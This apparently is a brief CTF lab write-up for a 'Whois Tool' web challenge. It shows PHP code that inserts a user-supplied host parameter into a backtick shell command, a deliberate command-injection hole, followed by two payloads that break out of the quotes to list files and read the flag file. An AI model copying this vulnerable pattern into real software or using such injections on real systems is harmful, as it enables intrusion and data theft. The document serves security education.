Simple Web - 0x02(Lab - Whois Tool)

Posted on | Post modified | In |

Simple Web - 0x02(Lab - Whois Tool)

tags: CTF Web eductf

Challenge: https://whoistool.ctf.zoolab.org/

Background

Almost the same as 0x10(Lab - DNS Lookup Tool | WAF)

Source Code

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET["host"])){
  $host = $_GET["host"];
  if(strlen($host) > 15)
    echo "Host name tooooooo logn!!";
  else
    echo `whois "{$host}" 2>&1;`;
}
?>

Exploit

  • Payload: ";ls -al;"
  • Payload: ";cat flag.t*;" Then we got flag!!!